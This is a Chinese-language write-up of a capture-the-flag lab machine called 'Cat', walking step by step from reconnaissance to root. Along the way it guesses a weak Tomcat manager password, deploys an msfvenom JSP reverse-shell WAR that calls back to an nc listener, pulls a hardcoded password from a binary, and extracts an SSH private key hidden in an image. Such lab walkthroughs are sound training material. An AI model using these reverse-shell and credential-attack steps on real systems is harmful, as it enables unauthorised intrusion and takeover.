一、信息收集

首先，我们对目标网段进行主机发现，以确定目标机器的IP地址。

1. 主机发现

使用`arp-scan`工具扫描本地网络，寻找存活主机。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
192.168.205.149 08:00:27:5a:8c:5a       PCS Systemtechnik GmbH
...
```

从扫描结果中，我们识别出目标主机的IP地址为`192.168.205.149`。

2. 端口扫描

确认目标IP后，使用`nmap`进行全端口扫描，以探测其开放的服务。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.149
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 05:40 EDT
Nmap scan report for 192.168.205.149
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy
MAC Address: 08:00:27:5A:8C:5A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.23 seconds
```

扫描结果显示目标主机开放了三个端口：

- **22/tcp**: SSH服务，用于远程登录。
- **80/tcp**: HTTP服务，一个Web服务器。
- **8080/tcp**: HTTP-Proxy服务，通常也是Web服务，可能是Tomcat或类似的Java应用服务器。

二、Web渗透

我们从Web服务开始进行渗透。

1. 80端口 - Apache服务

访问`http://192.168.205.149`，发现是一个纯静态的猫咪动画页面，没有可交互的功能点。因此，我们对其进行目录爆破，尝试发现隐藏的路径或文件。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ dirsearch -u http://192.168.205.149
...
[05:41:20] 200 -    0B  - /config.php
[05:41:21] 200 -    0B  - /database.php
[05:41:32] 200 -    0B  - /upload.php
[05:41:32] 301 -  320B  - /uploads  ->  http://192.168.205.149/uploads/
[05:41:32] 200 -  408B  - /uploads/
...
```

目录爆破发现了一些有趣的PHP文件，如`config.php`、`database.php`和`upload.php`，但它们的大小都为0字节，表明是空文件。`/uploads/`目录虽然存在，但其中没有任何内容。80端口的渗透似乎陷入僵局。

2. 8080端口 - Tomcat服务

接着，我们访问`http://192.168.205.149:8080`，页面显示这是`Tomcat/10.1.20`的管理界面。Tomcat的管理后台常常存在弱口令漏洞，我们尝试使用常见用户名和密码进行登录。

弱口令尝试:

- `admin`
- `manager`
- `tomcat`
- ...

最终，在访问`http://192.168.205.149:8080/manager`时，使用`admin:tomcat`成功登录到Tomcat Web应用程序管理器。

3. 获取WebShell

成功登录后台后，我们可以通过部署WAR文件来获取服务器的控制权。

首先，使用`msfvenom`生成一个Java的反向shell payload。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.205.128 LPORT=8888 -f
war -o shell.war
Payload size: 1090 bytes
Final size of war file: 1090 bytes
Saved as: shell.war
```

接着，在Tomcat后台的 "WAR file to deploy" 处上传我们生成的`shell.war`文件并部署。

同时，在Kali上使用`netcat`开启监听。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
```

部署成功后，点击新应用程序的路径（例如 `/shell`）来触发payload。

```
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.149] 43420
id
uid=1001(tomcat) gid=998(tomcat) groups=998(tomcat)
```

成功接收到反弹shell，当前用户为 `tomcat`。

三、权限提升

为了方便后续操作，我们首先对获取的非交互式shell进行稳定化处理。

```
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 36 columns 178
```

1. tomcat -> catcatcat

在目标系统中进行信息搜集，寻找可利用的提权线索。通过查找近期被修改过的文件，发现了两个可疑的二进制文件。

```
/usr/local/bin/catcatcat      2025-08-02   -rwxr-xr-x        16808
/usr/bin/imgcat               2025-08-02   -rwxr-xr-x       642040
```

`imgcat` 是一个在终端显示图片的工具。我们重点关注 `catcatcat` 这个自定义命令。使用 `strings` 命令检查该文件，发现硬编码的密码字符串。

```
tomcat@Cat:/tmp$ strings /usr/local/bin/catcatcat
...
password:this_is_cat_passwd
...
```

接下来，查看 `/etc/passwd` 文件，寻找可能与此密码对应的用户。

```
tomcat@Cat:/tmp$ cat /etc/passwd|grep bash
root:x:0:0:root:/root:/bin/bash
catcatcat:x:1000:1000:,,,:/home/catcatcat:/bin/bash
dog:x:1002:1001:,,,:/home/dog:/bin/bash
```

发现存在一个名为 `catcatcat` 的用户。使用该用户名和找到的密码 `this_is_cat_passwd` 通过SSH进行登录。（su切换不了，只可以使用ssh）

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh catcatcat@192.168.205.149
catcatcat@192.168.205.149's password:
...
catcatcat@Cat:~$ id
uid=1000(catcatcat) gid=1000(catcatcat) groups=1000(catcatcat)
```

成功切换到`catcatcat`用户。

2. catcatcat -> root

登录后，检查`catcatcat`用户的`sudo`权限。

```
catcatcat@Cat:~$ sudo -l
Matching Defaults entries for catcatcat on Cat:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User catcatcat may run the following commands on Cat:
    (ALL) NOPASSWD: /usr/bin/imgcat
```

结果表明，`catcatcat`用户可以免密码以root权限执行`/usr/bin/imgcat`命令。这通常是一个提权的突破口，但这里是一个兔子洞（最近Sublarge很喜欢出这种兔子洞啊）。

在`catcatcat`用户的主目录下，发现一个名为`cat.jpg`的图片文件。

```
catcatcat@Cat:~$ ls -al
...
-rw-r--r-- 1 catcatcat catcatcat 4460980 Aug  2 09:50 cat.jpg
-rw-r--r-- 1 catcatcat catcatcat      44 Aug  2 09:18 user.txt
...
```

我们将此图片文件通过`scp`传回Kali进行分析。

```
catcatcat@Cat:~$ scp cat.jpg kali@192.168.205.128:/mnt/hgfs/gx/x/tmp
...
cat.jpg                                       100% 4356KB  92.5MB/s   00:00
```

使用隐写术分析工具`stegseek`对图片进行分析，尝试提取隐藏信息。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ stegseek cat.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""
[i] Original filename: "id_rsa".
[i] Extracting to "cat.jpg.out".
```

`stegseek`成功在无密码的情况下提取出了一个名为`id_rsa`的文件，这通常是SSH私钥。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ head -n 1 cat.jpg.out
-----BEGIN OPENSSH PRIVATE KEY-----
```

确认是私钥文件后，我们用它来尝试以root身份登录目标主机。

首先，赋予私钥正确的权限。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ mv cat.jpg.out /tmp/id_rsa
┌──(kali㉿kali)-[/tmp]
└─$ chmod 600 id_rsa
```

然后，使用该私钥通过SSH连接到目标。

```
┌──(kali㉿kali)-[/tmp]
└─$ ssh root@192.168.205.149 -i /tmp/id_rsa
...
Last login: Sat Aug 23 05:35:10 2025 from 192.168.205.128
root@Cat:~# id
uid=0(root) gid=0(root) groups=0(root)
```

成功获取root权限。

四、夺取Flag

最后，在对应的目录下读取user和root的flag。

```
root@Cat:~# cat /root/root.txt /home/catcatcat/user.txt
flag{root-471e997ce8c23ad558c2935b88814ab3}
flag{user-081d683d33dde135a273b484ee70123b}
```

渗透测试完成。